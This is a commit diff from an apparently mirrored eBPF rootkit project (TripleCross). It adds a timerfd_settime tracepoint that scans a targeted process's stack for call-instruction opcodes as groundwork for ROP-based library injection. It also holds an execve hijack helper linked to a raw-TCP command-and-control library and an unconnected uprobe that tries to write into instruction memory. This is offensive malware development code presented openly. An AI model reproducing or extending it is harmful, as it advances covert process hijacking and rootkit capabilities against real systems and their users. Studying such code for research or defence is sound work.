mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-16 23:33:06 +08:00
Added extraction of original jump instruction and opcodes
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -22,4 +22,7 @@
|
||||
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
|
||||
|
||||
|
||||
//LIBRARY INJECTION WITH ROP
|
||||
#define TASK_COMM_NAME_ROP_TARGET "execve_hijack"
|
||||
|
||||
#endif
|
||||
@@ -10,9 +10,118 @@
|
||||
|
||||
#include "../../../common/constants.h"
|
||||
|
||||
#define OPCODE_JUMP_BYTE_0 0xe8
|
||||
|
||||
struct sys_timerfd_settime_enter_ctx {
|
||||
unsigned long long unused; //Pointer to pt_regs
|
||||
int __syscall_nr;
|
||||
unsigned int padding; //Alignment
|
||||
int ufd;
|
||||
int flags;
|
||||
const struct __kernel_itimerspec *utmr;
|
||||
struct __kernel_itimerspec *otmr;
|
||||
};
|
||||
|
||||
static __always_inline int stack_extract_return_address(__u64 stack){
|
||||
//We now have a possible call instruction, we check if it starts with the correct format
|
||||
__u8 *op = (__u8*)(stack - 0x5);
|
||||
__u8 opcode_arr[5];
|
||||
bpf_probe_read(&opcode_arr, 5*sizeof(__u8), op);
|
||||
if (opcode_arr[0] != OPCODE_JUMP_BYTE_0) {
|
||||
bpf_printk(" -- Failed OPCODE: %x\n", opcode_arr[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[0]);
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[1]);
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[2]);
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[3]);
|
||||
bpf_printk("OPCODE: %x\n", opcode_arr[4]);
|
||||
//We have localized the call instruction. We proceed to get the offset of the call.
|
||||
__u32 offset;
|
||||
bpf_probe_read(&offset, sizeof(__u32), &op[1]);
|
||||
bpf_printk("OFFSET: %x\n", offset);
|
||||
__u8* call_addr = (__u8*)((op+offset+5));
|
||||
|
||||
//We check which address was called. We could either be at libc already after
|
||||
//following it, or in the PLT entry on the same executable as before.
|
||||
__u32 call_dest;
|
||||
bpf_printk("CALL_ADDR: %lx\n", call_addr);
|
||||
bpf_probe_read(&call_dest, sizeof(__u32), call_addr);
|
||||
bpf_printk("BYTES: %llx\n", call_dest);
|
||||
|
||||
bpf_probe_read(&opcode_arr, 2*sizeof(__u8), call_addr);
|
||||
bpf_printk("OPCODE0: %x\n", opcode_arr[0]);
|
||||
bpf_printk("OPCODE1: %x\n", opcode_arr[1]);
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
SEC("tp/syscalls/sys_enter_timerfd_settime")
|
||||
int sys_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
|
||||
__u64 *scanner = (__u64*)ctx->otmr;
|
||||
int fd = ctx->ufd;
|
||||
|
||||
char comm[TASK_COMM_LEN] = {0};
|
||||
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||
if(err<0){
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *task = TASK_COMM_NAME_ROP_TARGET;
|
||||
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
|
||||
return 0;
|
||||
}
|
||||
bpf_printk("TASK: %s\n", comm);
|
||||
|
||||
long timesecs;
|
||||
//bpf_probe_read_user(×ecs, sizeof(long), &(new->it_interval.tv_sec));
|
||||
//bpf_printk("AG %ld\n",timesecs);
|
||||
__u64 address = 0;
|
||||
bpf_printk("Timer %i to scan at address %lx\n", fd, scanner);
|
||||
#pragma unroll
|
||||
for(__u64 ii=0; ii<14; ii++){
|
||||
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii*8);
|
||||
bpf_printk("stack: %lx\n", address);
|
||||
stack_extract_return_address(address);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
//NOT CURRENTLY CONNECTED
|
||||
SEC("uprobe/execute_command")
|
||||
int uprobe_execute_command(struct pt_regs *ctx){
|
||||
bpf_printk("UPROBE activated\n");
|
||||
bpf_printk("Ret is %lx", ctx->ip);
|
||||
|
||||
char* buf = "A\0";
|
||||
long ret;
|
||||
if((ret = bpf_probe_write_user((void*)ctx->ip, buf,1))>=0){
|
||||
bpf_printk("Success writting? Should not have happened\n");
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("ERROR writing: %li\n", ret); //EFAULT
|
||||
char dest_buf[2];
|
||||
if(ctx->ip-5 <=0){
|
||||
return -1;
|
||||
}
|
||||
if((ret = bpf_probe_read_user(dest_buf, 2, (void*)ctx->ip-5))<0){
|
||||
bpf_printk("Error reading instruction\n");
|
||||
return -1;
|
||||
}
|
||||
bpf_printk("Stack: %x\n", dest_buf);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
4
src/helpers/.gdb_history
Normal file
4
src/helpers/.gdb_history
Normal file
@@ -0,0 +1,4 @@
|
||||
disass main
|
||||
checksec bof
|
||||
checksec
|
||||
quit
|
||||
@@ -9,10 +9,10 @@ injection_lib: injection_lib.o
|
||||
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
|
||||
|
||||
execve_hijack.o: execve_hijack.c $(HEADERS)
|
||||
clang -c execve_hijack.c
|
||||
clang -g -c execve_hijack.c
|
||||
|
||||
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
|
||||
clang -lm -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
|
||||
clang -lm -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
|
||||
|
||||
clean:
|
||||
-rm -f execve_hijack.o
|
||||
|
||||
Binary file not shown.
2611
src/helpers/execve_hijack.asm
Normal file
2611
src/helpers/execve_hijack.asm
Normal file
File diff suppressed because it is too large
Load Diff
@@ -16,11 +16,36 @@
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/timerfd.h>
|
||||
|
||||
#include "lib/RawTCP.h"
|
||||
#include "../common/c&c.h"
|
||||
|
||||
|
||||
int test_time_values_injection(){
|
||||
|
||||
struct itimerspec new_value;
|
||||
int max_exp, fd;
|
||||
struct timespec now;
|
||||
uint64_t exp, tot_exp;
|
||||
ssize_t s;
|
||||
|
||||
fd = timerfd_create(CLOCK_REALTIME, 0);
|
||||
if (fd == -1)
|
||||
return -1;
|
||||
|
||||
new_value.it_interval.tv_sec = 30;
|
||||
new_value.it_interval.tv_nsec = 0;
|
||||
|
||||
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
|
||||
return -1;
|
||||
|
||||
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
char* execute_command(char* command){
|
||||
|
||||
FILE *fp;
|
||||
@@ -72,6 +97,8 @@ int main(int argc, char* argv[], char *envp[]){
|
||||
printf("Argument %i is %s\n", ii, argv[ii]);
|
||||
}
|
||||
|
||||
test_time_values_injection();
|
||||
|
||||
time_t rawtime;
|
||||
struct tm * timeinfo;
|
||||
|
||||
|
||||
Binary file not shown.
@@ -8,19 +8,19 @@
|
||||
#include "common.h"
|
||||
|
||||
//Connections
|
||||
int attach_uprobe_execute_command(struct kit_bpf *skel){
|
||||
skel->links.uprobe_execute_command = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992);
|
||||
printf("SET\n");
|
||||
return libbpf_get_error(skel->links.tp_sys_enter_execve);
|
||||
int attach_sys_timerfd_settime(struct kit_bpf *skel){
|
||||
//skel->links.kprobe_sys_geteuid = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992);
|
||||
skel->links.sys_timerfd_settime = bpf_program__attach(skel->progs.sys_timerfd_settime);
|
||||
return libbpf_get_error(skel->links.sys_timerfd_settime);
|
||||
}
|
||||
|
||||
int attach_injection_all(struct kit_bpf *skel){
|
||||
return attach_uprobe_execute_command(skel);
|
||||
return attach_sys_timerfd_settime(skel);
|
||||
}
|
||||
|
||||
|
||||
int detach_uprobe_execute_command(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.uprobe_execute_command);
|
||||
int detach_sys_timerfd_settime(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.sys_timerfd_settime);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
@@ -29,7 +29,7 @@ int detach_uprobe_execute_command(struct kit_bpf *skel){
|
||||
}
|
||||
|
||||
int detach_injection_all(struct kit_bpf *skel){
|
||||
return detach_uprobe_execute_command(skel);
|
||||
return detach_sys_timerfd_settime(skel);
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -26,7 +26,7 @@ module_config_t module_config = {
|
||||
},
|
||||
.injection_module = {
|
||||
.all = ON,
|
||||
.uprobe_execute_command = OFF
|
||||
.sys_timerfd_settime = OFF
|
||||
}
|
||||
|
||||
};
|
||||
@@ -88,7 +88,7 @@ int setup_all_modules(){
|
||||
if(config.injection_module.all == ON){
|
||||
ret = attach_injection_all(attr.skel);
|
||||
}else{
|
||||
if(config.injection_module.uprobe_execute_command == ON) ret = attach_uprobe_execute_command(attr.skel);
|
||||
if(config.injection_module.sys_timerfd_settime == ON) ret = attach_sys_timerfd_settime(attr.skel);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
|
||||
@@ -37,7 +37,7 @@ typedef struct module_config_t{
|
||||
|
||||
struct injection_module {
|
||||
char all;
|
||||
char uprobe_execute_command;
|
||||
char sys_timerfd_settime;
|
||||
}injection_module;
|
||||
|
||||
} module_config_t;
|
||||
|
||||
6
src/user/include/utils/rop/extractor.c
Normal file
6
src/user/include/utils/rop/extractor.c
Normal file
@@ -0,0 +1,6 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "extractor.h"
|
||||
|
||||
|
||||
6
src/user/include/utils/rop/extractor.h
Normal file
6
src/user/include/utils/rop/extractor.h
Normal file
@@ -0,0 +1,6 @@
|
||||
#ifndef __ROP_EXT_H
|
||||
#define __ROP_EXT_H
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -20,6 +20,7 @@
|
||||
#include "include/utils/strings/regex.h"
|
||||
#include "include/utils/structures/fdlist.h"
|
||||
#include "include/modules/module_manager.h"
|
||||
#include "include/utils/rop/extractor.h"
|
||||
|
||||
#define ABORT_IF_ERR(err, msg)\
|
||||
if(err<0){\
|
||||
|
||||
Reference in New Issue
Block a user